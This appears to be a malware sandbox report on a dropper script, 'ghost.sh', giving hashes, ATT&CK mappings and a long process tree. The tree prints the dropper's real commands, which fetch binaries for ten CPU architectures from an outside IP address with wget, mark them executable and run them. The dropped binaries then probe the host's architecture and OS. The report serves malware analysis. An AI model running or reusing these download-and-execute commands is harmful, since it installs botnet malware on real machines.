3d266ba060261b8e843926e426300d39277d2ee54497e0a6543428ba7ec6085b

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29/06/2026, 12:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ghost.sh
Size 1KB
Sample260629-n8dbgset9q
SHA256 3d266ba060261b8e843926e426300d39277d2ee54497e0a6543428ba7ec6085b
MD5 ae095e417dd60f8515bbbfc561f39ffb
SHA1 5fe7eabbd656245a2801c57e95dbbb269fe18a48
SHA512 a190fbe3b377bf5f53dd537657fdac7fe75247657a90c2078dc678658ceaa8482dd95152eb4cb20bf1d76cfa5c84376eb6ddca6b1895b7c39087c554293f0234
TLSH
T1B0419F8723A0CD717C9A9967B15E45C079C7A48204BE6EE678CDFDE0188FC7CB500EA2
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
693	chmod
700	chmod
717	chmod
756	chmod
774	chmod
798	chmod
687	chmod
734	chmod
768	chmod
780	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/mips.ghost	689	ghost.sh
/tmp/mipsel.ghost	695	ghost.sh
/tmp/sh4.ghost	703	ghost.sh
/tmp/x86_64.ghost	720	ghost.sh
/tmp/i686.ghost	737	ghost.sh
/tmp/powerpc.ghost	759	ghost.sh
/tmp/aarch64.ghost	770	ghost.sh
/tmp/m68k.ghost	776	ghost.sh
/tmp/armv7l.ghost	782	ghost.sh
/tmp/armv5l.ghost	801	ghost.sh

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
690	rm
689	mips.ghost
692	wget
695	mipsel.ghost
666	rm
670	wget

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh4.ghost	wget
File opened for modification	/tmp/x86_64.ghost	wget
File opened for modification	/tmp/powerpc.ghost	wget
File opened for modification	/tmp/armv7l.ghost	wget
File opened for modification	/tmp/mips.ghost	wget
File opened for modification	/tmp/mipsel.ghost	wget
File opened for modification	/tmp/i686.ghost	wget
File opened for modification	/tmp/aarch64.ghost	wget
File opened for modification	/tmp/m68k.ghost	wget
File opened for modification	/tmp/armv5l.ghost	wget

/tmp/ghost.sh
/tmp/ghost.sh
1⤵
- Executes dropped EXE
PID:659
- /bin/rm
  rm -f mips.ghost
  2⤵
  - System Network Configuration Discovery
  PID:666
- /usr/bin/wget
  wget -q -O mips.ghost http://94.154.43.158/mips.ghost
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:670
- /bin/chmod
  chmod +x mips.ghost
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /bin/rm
  rm -f mipsel.ghost
  2⤵
  - System Network Configuration Discovery
  PID:690
- /usr/bin/wget
  wget -q -O mipsel.ghost http://94.154.43.158/mipsel.ghost
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:692
- /bin/chmod
  chmod +x mipsel.ghost
  2⤵
  - File and Directory Permissions Modification
  PID:693
- /bin/rm
  rm -f sh4.ghost
  2⤵
  PID:696
- /usr/bin/wget
  wget -q -O sh4.ghost http://94.154.43.158/sh4.ghost
  2⤵
  - Writes file to tmp directory
  PID:698
- /bin/chmod
  chmod +x sh4.ghost
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /bin/rm
  rm -f x86_64.ghost
  2⤵
  PID:704
- /usr/bin/wget
  wget -q -O x86_64.ghost http://94.154.43.158/x86_64.ghost
  2⤵
  - Writes file to tmp directory
  PID:707
- /bin/chmod
  chmod +x x86_64.ghost
  2⤵
  - File and Directory Permissions Modification
  PID:717
- /bin/rm
  rm -f i686.ghost
  2⤵
  PID:721
- /usr/bin/wget
  wget -q -O i686.ghost http://94.154.43.158/i686.ghost
  2⤵
  - Writes file to tmp directory
  PID:724
- /bin/chmod
  chmod +x i686.ghost
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /bin/rm
  rm -f powerpc.ghost
  2⤵
  PID:738
- /usr/bin/wget
  wget -q -O powerpc.ghost http://94.154.43.158/powerpc.ghost
  2⤵
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod +x powerpc.ghost
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /bin/rm
  rm -f aarch64.ghost
  2⤵
  PID:760
- /usr/bin/wget
  wget -q -O aarch64.ghost http://94.154.43.158/aarch64.ghost
  2⤵
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod +x aarch64.ghost
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /bin/rm
  rm -f m68k.ghost
  2⤵
  PID:771
- /usr/bin/wget
  wget -q -O m68k.ghost http://94.154.43.158/m68k.ghost
  2⤵
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod +x m68k.ghost
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /bin/rm
  rm -f armv7l.ghost
  2⤵
  PID:777
- /usr/bin/wget
  wget -q -O armv7l.ghost http://94.154.43.158/armv7l.ghost
  2⤵
  - Writes file to tmp directory
  PID:779
- /bin/chmod
  chmod +x armv7l.ghost
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /bin/rm
  rm -f armv5l.ghost
  2⤵
  PID:783
- /usr/bin/wget
  wget -q -O armv5l.ghost http://94.154.43.158/armv5l.ghost
  2⤵
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod +x armv5l.ghost
  2⤵
  - File and Directory Permissions Modification
  PID:798

/tmp/mips.ghost
./mips.ghost
1⤵
- System Network Configuration Discovery
PID:689

/tmp/mipsel.ghost
./mipsel.ghost
1⤵
- System Network Configuration Discovery
PID:695

/tmp/sh4.ghost
./sh4.ghost
1⤵
PID:703

/tmp/x86_64.ghost
./x86_64.ghost
1⤵
PID:720

/tmp/i686.ghost
./i686.ghost
1⤵
PID:737

/tmp/powerpc.ghost
./powerpc.ghost
1⤵
PID:759

/tmp/aarch64.ghost
./aarch64.ghost
1⤵
PID:770

/tmp/m68k.ghost
./m68k.ghost
1⤵
PID:776

/tmp/armv7l.ghost
./armv7l.ghost
1⤵
PID:782
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:785
- - /bin/uname
    uname -m
    3⤵
    PID:786
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:789
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:790
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:791
- - /usr/bin/head
    head -1
    3⤵
    PID:792
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:794
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:795
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:793
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:838
- - /bin/uname
    uname -m
    3⤵
    PID:839
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:840
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:843
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:842
- - /usr/bin/head
    head -1
    3⤵
    PID:844
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:845
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:847
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:846
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:858
- - /bin/uname
    uname -m
    3⤵
    PID:859
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:862
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:863
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:864
- - /usr/bin/head
    head -1
    3⤵
    PID:865
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:867
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:868
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:869
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:882
- - /bin/uname
    uname -m
    3⤵
    PID:883
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:886
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:890
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:896
- - /usr/bin/head
    head -1
    3⤵
    PID:895
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:892
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:897
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:898
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:904
- - /bin/uname
    uname -m
    3⤵
    PID:906
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:913
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:914
- - /usr/bin/head
    head -1
    3⤵
    PID:916
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:917
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:915
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:918
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:919
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:922
- - /bin/uname
    uname -m
    3⤵
    PID:923
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:924
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:926
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:925
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:928
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:930
- - /usr/bin/head
    head -1
    3⤵
    PID:927
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:929
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:942
- - /bin/uname
    uname -m
    3⤵
    PID:945
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:947
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:951
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:953
- - /usr/bin/head
    head -1
    3⤵
    PID:955
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:958
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:959
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:957
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:964
- - /bin/uname
    uname -m
    3⤵
    PID:966
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:973
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:974
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:975
- - /usr/bin/head
    head -1
    3⤵
    PID:976
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:977
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:979
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:978
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:983
- - /bin/uname
    uname -m
    3⤵
    PID:985
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:987
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:990
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:992
- - /usr/bin/head
    head -1
    3⤵
    PID:994
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:998
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:997
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:999
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1004
- - /bin/uname
    uname -m
    3⤵
    PID:1006
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1009
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1012
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1014
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1019
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1021
- - /usr/bin/head
    head -1
    3⤵
    PID:1016
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1020
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1033
- - /bin/uname
    uname -m
    3⤵
    PID:1034
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1035
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1037
- - /usr/bin/head
    head -1
    3⤵
    PID:1038
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1036
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1039
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1041
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1040
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1051
- - /bin/uname
    uname -m
    3⤵
    PID:1052
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1053
- - /usr/bin/head
    head -1
    3⤵
    PID:1056
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1054
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1057
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1058
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1059
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1055
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1071
- - /bin/uname
    uname -m
    3⤵
    PID:1072
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1073
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1075
- - /usr/bin/head
    head -1
    3⤵
    PID:1076
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1074
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1077
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1079
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1078
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1091
- - /bin/uname
    uname -m
    3⤵
    PID:1092
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1093
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1095
- - /usr/bin/head
    head -1
    3⤵
    PID:1096
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1094
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1097
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1098
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1099
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1100
- - /bin/uname
    uname -m
    3⤵
    PID:1101
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1102
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1103
- - /usr/bin/head
    head -1
    3⤵
    PID:1105
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1106
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1104
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1107
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1108
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1120
- - /bin/uname
    uname -m
    3⤵
    PID:1121
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1122
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1124
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1123
- - /usr/bin/head
    head -1
    3⤵
    PID:1125
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1126
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1128
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1127

/tmp/armv5l.ghost
./armv5l.ghost
1⤵
PID:801
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:803
- - /bin/uname
    uname -m
    3⤵
    PID:804
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:806
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:808
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:807
- - /usr/bin/head
    head -1
    3⤵
    PID:809
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:810
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:811
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:812
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:841
- - /bin/uname
    uname -m
    3⤵
    PID:848
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:849
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:850
- - /usr/bin/head
    head -1
    3⤵
    PID:852
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:851
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:853
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:854
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:855
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:860
- - /bin/uname
    uname -m
    3⤵
    PID:861
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:866
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:870
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:871
- - /usr/bin/head
    head -1
    3⤵
    PID:872
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:873
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:874
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:875
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:881
- - /bin/uname
    uname -m
    3⤵
    PID:884
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:885
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:887
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:888
- - /usr/bin/head
    head -1
    3⤵
    PID:889
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:891
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:893
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:894
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:902
- - /bin/uname
    uname -m
    3⤵
    PID:903
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:905
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:907
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:908
- - /usr/bin/head
    head -1
    3⤵
    PID:909
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:910
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:911
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:912
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:931
- - /bin/uname
    uname -m
    3⤵
    PID:932
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:933
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:934
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:935
- - /usr/bin/head
    head -1
    3⤵
    PID:936
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:938
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:937
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:939
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:943
- - /bin/uname
    uname -m
    3⤵
    PID:944
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:946
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:948
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:949
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:952
- - /usr/bin/head
    head -1
    3⤵
    PID:950
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:954
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:956
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:962
- - /bin/uname
    uname -m
    3⤵
    PID:963
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:965
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:968
- - /usr/bin/head
    head -1
    3⤵
    PID:969
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:970
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:967
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:971
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:972
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:982
- - /bin/uname
    uname -m
    3⤵
    PID:984
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:986
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:988
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:989
- - /usr/bin/head
    head -1
    3⤵
    PID:991
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:993
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:996
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:995
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1005
- - /bin/uname
    uname -m
    3⤵
    PID:1007
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1008
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1011
- - /usr/bin/head
    head -1
    3⤵
    PID:1013
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1010
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1015
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1017
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1018
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1024
- - /bin/uname
    uname -m
    3⤵
    PID:1025
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1026
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1028
- - /usr/bin/head
    head -1
    3⤵
    PID:1029
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1027
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1031
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1032
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1030
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1042
- - /bin/uname
    uname -m
    3⤵
    PID:1043
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1044
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1046
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1045
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1048
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1049
- - /usr/bin/head
    head -1
    3⤵
    PID:1047
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1050
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1062
- - /bin/uname
    uname -m
    3⤵
    PID:1063
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1064
- - /usr/bin/head
    head -1
    3⤵
    PID:1067
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1065
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1066
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1068
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1070
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1069
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1080
- - /bin/uname
    uname -m
    3⤵
    PID:1081
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1082
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1084
- - /usr/bin/head
    head -1
    3⤵
    PID:1085
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1086
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1083
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1087
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1088
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1109
- - /bin/uname
    uname -m
    3⤵
    PID:1110
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1111
- - /usr/bin/head
    head -1
    3⤵
    PID:1114
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1113
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1116
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1112
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1115
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1117
- /bin/sh
  sh -c "uname -m 2>/dev/null"
  2⤵
  PID:1129
- - /bin/uname
    uname -m
    3⤵
    PID:1130
- /bin/sh
  sh -c "cat /etc/os-release 2>/dev/null | grep -E '^ID=' | head -1 | cut -d= -f2 | tr -d '\"' | tr -d '\\n'"
  2⤵
  PID:1131
- - /bin/grep
    grep -E "^ID="
    3⤵
    PID:1133
- - /usr/bin/head
    head -1
    3⤵
    PID:1134
- - /bin/cat
    cat /etc/os-release
    3⤵
    PID:1132
- - /usr/bin/cut
    cut "-d=" -f2
    3⤵
    PID:1135
- - /usr/bin/tr
    tr -d "\\n"
    3⤵
    PID:1137
- - /usr/bin/tr
    tr -d "\""
    3⤵
    PID:1136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

aarch64.ghost

Path /tmp/aarch64.ghost
Size 175KB
